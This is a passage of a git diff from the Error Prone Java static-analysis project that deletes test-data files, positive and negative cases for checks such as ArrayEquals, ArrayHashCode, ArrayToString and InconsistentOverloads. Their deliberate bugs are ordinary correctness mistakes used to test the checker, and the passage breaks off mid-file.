@Override // no bug - void someMethod(String foo, int bar) {} - - @Override // no bug - void someMethod(int bar, String foo, List baz) {} - - // BUG: Diagnostic contains: someMethod(String foo, int bar, List baz, Map fizz) - void someMethod(int bar, String foo, List baz, Map fizz) {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesSimple.java b/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesSimple.java deleted file mode 100644 index 84fcf664723..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesSimple.java +++ /dev/null @@ -1,28 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.overloading.testdata; - -public final class InconsistentOverloadsPositiveCasesSimple { - - public void foo(Object object) {} - - // BUG: Diagnostic contains: foo(Object object, int x, int y) - public void foo(int x, int y, Object object) {} - - // BUG: Diagnostic contains: foo(Object object, int x, int y, String string) - public void foo(String string, int y, Object object, int x) {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesVarargs.java b/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesVarargs.java deleted file mode 100644 index bd0dce4ca67..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesVarargs.java +++ /dev/null @@ -1,37 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.overloading.testdata; - -public abstract class InconsistentOverloadsPositiveCasesVarargs { - - public void foo(String... rest) {} - - public void foo(int x, String... rest) {} - - // BUG: Diagnostic contains: foo(int x, int y, String... rest) - public void foo(int y, int x, String... rest) {} - - abstract void bar(float x, float y); - - // BUG: Diagnostic contains: bar(float x, float y, float z, Object... rest) - abstract void bar(float z, float y, float x, Object... rest); - - // BUG: Diagnostic contains: bar(float x, float y, float z, String string) - abstract void bar(float y, String string, float x, float z); - - abstract void bar(Object... rest); -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayEqualsNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayEqualsNegativeCases.java deleted file mode 100644 index 0e95922b81b..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayEqualsNegativeCases.java +++ /dev/null @@ -1,75 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.base.Objects; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class ArrayEqualsNegativeCases { - public void neitherArray() { - Object a = new Object(); - Object b = new Object(); - - if (a.equals(b)) { - System.out.println("Objects are equal!"); - } else { - System.out.println("Objects are not equal!"); - } - - if (Objects.equal(a, b)) { - System.out.println("Objects are equal!"); - } else { - System.out.println("Objects are not equal!"); - } - } - - public void firstArray() { - Object[] a = new Object[3]; - Object b = new Object(); - - if (a.equals(b)) { - System.out.println("arrays are equal!"); - } else { - System.out.println("arrays are not equal!"); - } - - if (Objects.equal(a, b)) { - System.out.println("Objects are equal!"); - } else { - System.out.println("Objects are not equal!"); - } - } - - public void secondArray() { - Object a = new Object(); - Object[] b = new Object[3]; - - if (a.equals(b)) { - System.out.println("arrays are equal!"); - } else { - System.out.println("arrays are not equal!"); - } - - if (Objects.equal(a, b)) { - System.out.println("Objects are equal!"); - } else { - System.out.println("Objects are not equal!"); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayEqualsNegativeCases2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayEqualsNegativeCases2.java deleted file mode 100644 index 99f4ab94109..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayEqualsNegativeCases2.java +++ /dev/null @@ -1,59 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Objects; - -/** - * Tests that only run with Java 7 and above. - * - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class ArrayEqualsNegativeCases2 { - public void neitherArray() { - Object a = new Object(); - Object b = new Object(); - - if (Objects.equals(a, b)) { - System.out.println("Objects are equal!"); - } else { - System.out.println("Objects are not equal!"); - } - } - - public void firstArray() { - Object[] a = new Object[3]; - Object b = new Object(); - - if (Objects.equals(a, b)) { - System.out.println("arrays are equal!"); - } else { - System.out.println("arrays are not equal!"); - } - } - - public void secondArray() { - Object a = new Object(); - Object[] b = new Object[3]; - - if (Objects.equals(a, b)) { - System.out.println("arrays are equal!"); - } else { - System.out.println("arrays are not equal!"); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayEqualsPositiveCases2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayEqualsPositiveCases2.java deleted file mode 100644 index 8ef96b07576..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayEqualsPositiveCases2.java +++ /dev/null @@ -1,51 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Objects; - -/** - * Tests that only run with Java 7 and above. - * - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class ArrayEqualsPositiveCases2 { - - public void intArray() { - int[] a = {1, 2, 3}; - int[] b = {1, 2, 3}; - - // BUG: Diagnostic contains: Arrays.equals(a, b) - if (Objects.equals(a, b)) { - System.out.println("arrays are equal!"); - } else { - System.out.println("arrays are not equal!"); - } - } - - public void objectArray() { - Object[] a = new Object[3]; - Object[] b = new Object[3]; - - // BUG: Diagnostic contains: Arrays.equals(a, b) - if (Objects.equals(a, b)) { - System.out.println("arrays are equal!"); - } else { - System.out.println("arrays are not equal!"); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayHashCodeNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayHashCodeNegativeCases.java deleted file mode 100644 index 2f5b85d46de..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayHashCodeNegativeCases.java +++ /dev/null @@ -1,50 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.base.Objects; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class ArrayHashCodeNegativeCases { - - private Object[] objArray = {1, 2, 3}; - private String[] stringArray = {"1", "2", "3"}; - private int[] intArray = {1, 2, 3}; - private byte[] byteArray = {1, 2, 3}; - private Object obj = new Object(); - private String str = "foo"; - - public void objectHashCodeOnNonArrayType() { - int hashCode; - hashCode = obj.hashCode(); - hashCode = str.hashCode(); - } - - public void varagsHashCodeOnNonArrayType() { - int hashCode; - hashCode = Objects.hashCode(obj); - hashCode = Objects.hashCode(str); - } - - public void varagsHashCodeOnObjectOrStringArray() { - int hashCode; - hashCode = Objects.hashCode(objArray); - hashCode = Objects.hashCode((Object[]) stringArray); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayHashCodeNegativeCases2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayHashCodeNegativeCases2.java deleted file mode 100644 index e410c50f23f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayHashCodeNegativeCases2.java +++ /dev/null @@ -1,52 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Objects; - -/** - * Java 7 specific tests - * - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class ArrayHashCodeNegativeCases2 { - - private Object[] objArray = {1, 2, 3}; - private String[] stringArray = {"1", "2", "3"}; - private int[] intArray = {1, 2, 3}; - private byte[] byteArray = {1, 2, 3}; - private Object obj = new Object(); - private String str = "foo"; - - public void nonVaragsHashCodeOnNonArrayType() { - int hashCode; - hashCode = Objects.hashCode(obj); - hashCode = Objects.hashCode(str); - } - - public void varagsHashCodeOnNonArrayType() { - int hashCode; - hashCode = Objects.hash(obj); - hashCode = Objects.hash(str); - } - - public void varagsHashCodeOnObjectOrStringArray() { - int hashCode; - hashCode = Objects.hash(objArray); - hashCode = Objects.hash((Object[]) stringArray); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayHashCodePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayHashCodePositiveCases.java deleted file mode 100644 index 4b51c3d075d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayHashCodePositiveCases.java +++ /dev/null @@ -1,85 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.base.Objects; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class ArrayHashCodePositiveCases { - private Object[] objArray = {1, 2, 3}; - private String[] stringArray = {"1", "2", "3"}; - private int[] intArray = {1, 2, 3}; - private byte[] byteArray = {1, 2, 3}; - private int[][] multidimensionalIntArray = {{1, 2, 3}, {4, 5, 6}}; - private String[][] multidimensionalStringArray = {{"1", "2", "3"}, {"4", "5", "6"}}; - - public void objectHashCode() { - int hashCode; - // BUG: Diagnostic contains: Arrays.hashCode(objArray) - hashCode = objArray.hashCode(); - // BUG: Diagnostic contains: Arrays.hashCode(stringArray) - hashCode = stringArray.hashCode(); - // BUG: Diagnostic contains: Arrays.hashCode(intArray) - hashCode = intArray.hashCode(); - - // BUG: Diagnostic contains: Arrays.deepHashCode(multidimensionalIntArray) - hashCode = multidimensionalIntArray.hashCode(); - // BUG: Diagnostic contains: Arrays.deepHashCode(multidimensionalStringArray) - hashCode = multidimensionalStringArray.hashCode(); - } - - public void guavaObjectsHashCode() { - int hashCode; - // BUG: Diagnostic contains: Arrays.hashCode(intArray) - hashCode = Objects.hashCode(intArray); - // BUG: Diagnostic contains: Arrays.hashCode(byteArray) - hashCode = Objects.hashCode(byteArray); - - // BUG: Diagnostic contains: Arrays.deepHashCode(multidimensionalIntArray) - hashCode = Objects.hashCode(multidimensionalIntArray); - // BUG: Diagnostic contains: Arrays.deepHashCode(multidimensionalStringArray) - hashCode = Objects.hashCode(multidimensionalStringArray); - } - - public void varargsHashCodeOnMoreThanOneArg() { - int hashCode; - // BUG: Diagnostic contains: Objects.hashCode(Arrays.hashCode(objArray), - // Arrays.hashCode(intArray)) - hashCode = Objects.hashCode(objArray, intArray); - // BUG: Diagnostic contains: Objects.hashCode(Arrays.hashCode(stringArray), - // Arrays.hashCode(byteArray)) - hashCode = Objects.hashCode(stringArray, byteArray); - - Object obj1 = new Object(); - Object obj2 = new Object(); - // BUG: Diagnostic contains: Objects.hashCode(obj1, obj2, Arrays.hashCode(intArray)) - hashCode = Objects.hashCode(obj1, obj2, intArray); - // BUG: Diagnostic contains: Objects.hashCode(obj1, Arrays.hashCode(intArray), obj2) - hashCode = Objects.hashCode(obj1, intArray, obj2); - // BUG: Diagnostic contains: Objects.hashCode(Arrays.hashCode(intArray), obj1, obj2) - hashCode = Objects.hashCode(intArray, obj1, obj2); - - // BUG: Diagnostic contains: Objects.hashCode(obj1, obj2, - // Arrays.deepHashCode(multidimensionalIntArray)) - hashCode = Objects.hashCode(obj1, obj2, multidimensionalIntArray); - // BUG: Diagnostic contains: Objects.hashCode(obj1, obj2, - // Arrays.deepHashCode(multidimensionalStringArray)) - hashCode = Objects.hashCode(obj1, obj2, multidimensionalStringArray); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringCompoundAssignmentNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringCompoundAssignmentNegativeCases.java deleted file mode 100644 index 34ef562111e..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringCompoundAssignmentNegativeCases.java +++ /dev/null @@ -1,34 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author adgar@google.com (Mike Edgar) - */ -public class ArrayToStringCompoundAssignmentNegativeCases { - public void concatenateCompoundAssign_object() { - Object a = new Object(); - String b = " a string"; - b += a; - } - - public void concatenateCompoundAssign_int() { - int a = 5; - String b = " a string "; - b += a; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringCompoundAssignmentPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringCompoundAssignmentPositiveCases.java deleted file mode 100644 index ea9c1c4a970..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringCompoundAssignmentPositiveCases.java +++ /dev/null @@ -1,33 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.*; - -/** - * @author adgar@google.com (Mike Edgar) - */ -public class ArrayToStringCompoundAssignmentPositiveCases { - - private static final int[] a = {1, 2, 3}; - - public void stringVariableAddsArrayAndAssigns() { - String b = "a string"; - // BUG: Diagnostic contains: += Arrays.toString(a) - b += a; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringConcatenationNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringConcatenationNegativeCases.java deleted file mode 100644 index e318151a06a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringConcatenationNegativeCases.java +++ /dev/null @@ -1,33 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author adgar@google.com (Mike Edgar) - */ -public class ArrayToStringConcatenationNegativeCases { - public void notArray() { - Object a = new Object(); - String b = a + " a string"; - } - - public void notArray_refactored() { - Object a = new Object(); - String b = " a string"; - String c = a + b; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringConcatenationPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringConcatenationPositiveCases.java deleted file mode 100644 index df777c64f73..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringConcatenationPositiveCases.java +++ /dev/null @@ -1,37 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.*; - -/** - * @author adgar@google.com (Mike Edgar) - */ -public class ArrayToStringConcatenationPositiveCases { - - private static final int[] a = {1, 2, 3}; - - public void stringLiteralLeftOperandIsArray() { - // BUG: Diagnostic contains: Arrays.toString(a) + - String b = a + " a string"; - } - - public void stringLiteralRightOperandIsArray() { - // BUG: Diagnostic contains: + Arrays.toString(a) - String b = "a string" + a; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringNegativeCases.java deleted file mode 100644 index 6893f048856..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringNegativeCases.java +++ /dev/null @@ -1,34 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.*; - -/** - * @author adgar@google.com (Mike Edgar) - */ -public class ArrayToStringNegativeCases { - public void objectEquals() { - Object a = new Object(); - - if (a.toString().isEmpty()) { - System.out.println("string is empty!"); - } else { - System.out.println("string is not empty!"); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringPositiveCases.java deleted file mode 100644 index 10ce413ae29..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringPositiveCases.java +++ /dev/null @@ -1,81 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.*; - -/** - * @author adgar@google.com (Mike Edgar) - */ -public class ArrayToStringPositiveCases { - - public void intArray() { - int[] a = {1, 2, 3}; - - // BUG: Diagnostic contains: Arrays.toString(a) - if (a.toString().isEmpty()) { - System.out.println("int array string is empty!"); - } else { - System.out.println("int array string is nonempty!"); - } - } - - public void objectArray() { - Object[] a = new Object[3]; - - // BUG: Diagnostic contains: Arrays.toString(a) - if (a.toString().isEmpty()) { - System.out.println("object array string is empty!"); - } else { - System.out.println("object array string is nonempty!"); - } - } - - public void firstMethodCall() { - String s = "hello"; - - // BUG: Diagnostic contains: Arrays.toString(s.toCharArray()) - if (s.toCharArray().toString().isEmpty()) { - System.out.println("char array string is empty!"); - } else { - System.out.println("char array string is nonempty!"); - } - } - - public void secondMethodCall() { - char[] a = new char[3]; - - // BUG: Diagnostic contains: Arrays.toString(a) - if (a.toString().isEmpty()) { - System.out.println("array string is empty!"); - } else { - System.out.println("array string is nonempty!"); - } - } - - public void throwable() { - Exception e = new RuntimeException(); - // BUG: Diagnostic contains: Throwables.getStackTraceAsString(e) - System.out.println(e.getStackTrace().toString()); - } - - public void arrayOfArrays() { - int[][] a = {}; - // BUG: Diagnostic contains: Arrays.deepToString(a) - System.out.println(a); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/AssertFalseNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/AssertFalseNegativeCases.java deleted file mode 100644 index 26694d22837..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/AssertFalseNegativeCases.java +++ /dev/null @@ -1,31 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author sebastian.h.monte@gmail.com (Sebastian Monte) - */ -public class AssertFalseNegativeCases { - - public void assertTrue() { - assert true; - } - - public void assertFalseFromCondition() { - assert 0 == 1; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/AssertFalsePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/AssertFalsePositiveCases.java deleted file mode 100644 index 1794830af2c..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/AssertFalsePositiveCases.java +++ /dev/null @@ -1,27 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author sebastian.h.monte@gmail.com (Sebastian Monte) - */ -public class AssertFalsePositiveCases { - public void assertFalse() { - // BUG: Diagnostic contains: throw new AssertionError() - assert false; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/AsyncFunctionReturnsNullNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/AsyncFunctionReturnsNullNegativeCases.java deleted file mode 100644 index 84eca364344..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/AsyncFunctionReturnsNullNegativeCases.java +++ /dev/null @@ -1,75 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.util.concurrent.Futures.immediateFuture; - -import com.google.common.base.Function; -import com.google.common.util.concurrent.AsyncFunction; -import com.google.common.util.concurrent.ListenableFuture; -import java.util.function.Supplier; -import org.jspecify.annotations.Nullable; - -/** Negative cases for {@link AsyncFunctionReturnsNull}. */ -public class AsyncFunctionReturnsNullNegativeCases { - static { - new AsyncFunction() { - @Override - public ListenableFuture apply(String input) throws Exception { - return immediateFuture(null); - } - }; - - new Function() { - @Override - public Object apply(String input) { - return null; - } - }; - - new AsyncFunction() { - @Override - public ListenableFuture apply(String input) throws Exception { - return apply(input, input); - } - - public ListenableFuture apply(String input1, String input2) { - return null; - } - }; - - new MyNonAsyncFunction() { - @Override - public ListenableFuture apply(String input) throws Exception { - return null; - } - }; - - new AsyncFunction() { - @Override - public ListenableFuture apply(String input) throws Exception { - Supplier s = - () -> { - return null; - }; - return immediateFuture(s.get()); - } - }; - } - - interface MyNonAsyncFunction { - ListenableFuture apply(@Nullable I input) throws Exception; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/AsyncFunctionReturnsNullPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/AsyncFunctionReturnsNullPositiveCases.java deleted file mode 100644 index 0a1feeef90d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/AsyncFunctionReturnsNullPositiveCases.java +++ /dev/null @@ -1,51 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.util.concurrent.Futures.immediateFuture; - -import com.google.common.util.concurrent.AsyncFunction; -import com.google.common.util.concurrent.ListenableFuture; - -/** Positive cases for {@link AsyncFunctionReturnsNull}. */ -public class AsyncFunctionReturnsNullPositiveCases { - static void listenableFutures() { - new AsyncFunction() { - @Override - public ListenableFuture apply(String input) throws Exception { - // BUG: Diagnostic contains: immediateFuture(null) - return null; - } - }; - - new AsyncFunction() { - @Override - public ListenableFuture apply(Object o) { - if (o instanceof String) { - return immediateFuture((String) o); - } - // BUG: Diagnostic contains: immediateFuture(null) - return null; - } - }; - } - - static class MyAsyncFunction implements AsyncFunction { - @Override - public ListenableFuture apply(Object input) throws Exception { - return immediateFuture(input.toString()); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadComparableNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadComparableNegativeCases.java deleted file mode 100644 index 7d506ef259e..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadComparableNegativeCases.java +++ /dev/null @@ -1,153 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Comparator; - -/** - * @author irogers@google.com (Ian Rogers) - */ -public class BadComparableNegativeCases { - // The corrected cases of the PositiveCases test. - static class ComparableTest implements Comparable { - private final long value = 0; - - public int compareTo(ComparableTest other) { - return Long.compare(value, other.value); - } - } - - static class BoxedComparableTest implements Comparable { - private final Long value = Long.valueOf(0); - - public int 